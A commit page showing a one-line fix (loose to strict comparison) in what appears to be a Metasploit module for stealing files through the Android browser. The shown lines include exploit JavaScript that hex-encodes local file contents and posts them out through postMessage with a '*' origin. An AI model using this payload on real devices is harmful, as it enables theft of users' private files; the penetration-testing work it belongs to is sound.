Use ===, doh.

joevennix · joevennix · commit ccd0712d43cf · 2015-03-06T12:29:34.000-06:00
diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb
@@ -143,7 +143,7 @@ def exploit_js
                     return (c.length < 2) ? 0+c : c;
                   }).join(new String);
                   /*ensures there are no 'not allowed' responses that appear to be valid data*/
-                  if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') == '-1') {
+                  if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
                     top.postMessage({data:hex,url:location.href}, '*');
                   }
                   parent.postMessage(1,'*');

Original file line number	Diff line number	Diff line change
`@@ -143,7 +143,7 @@ def exploit_js`
`143`	`143`	`return (c.length < 2) ? 0+c : c;`
`144`	`144`	`}).join(new String);`
`145`	`145`	`/ensures there are no 'not allowed' responses that appear to be valid data/`
`146`		`- if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') == '-1') {`
	`146`	`+ if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {`
`147`	`147`	`top.postMessage({data:hex,url:location.href}, '*');`
`148`	`148`	`}`
`149`	`149`	`parent.postMessage(1,'*');`